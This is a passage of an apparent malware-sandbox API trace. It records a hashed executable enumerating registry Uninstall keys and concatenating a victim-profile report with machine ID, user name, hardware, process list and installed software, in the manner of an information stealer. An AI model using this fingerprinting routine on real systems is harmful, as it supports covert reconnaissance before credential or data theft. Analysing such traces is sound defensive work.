4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]"
[0054.959] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\n"
[0054.959] RegCloseKey (hKey=0x514) returned 0x0
[0054.959] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x20, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0016-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.959] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0016-0409-0000-0000000FF1CE}") returned 90
[0054.959] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0016-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.959] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Excel MUI (English) 2016", lpcbData=0x1816c0*=0x23) returned 0x0
[0054.959] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Excel MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: 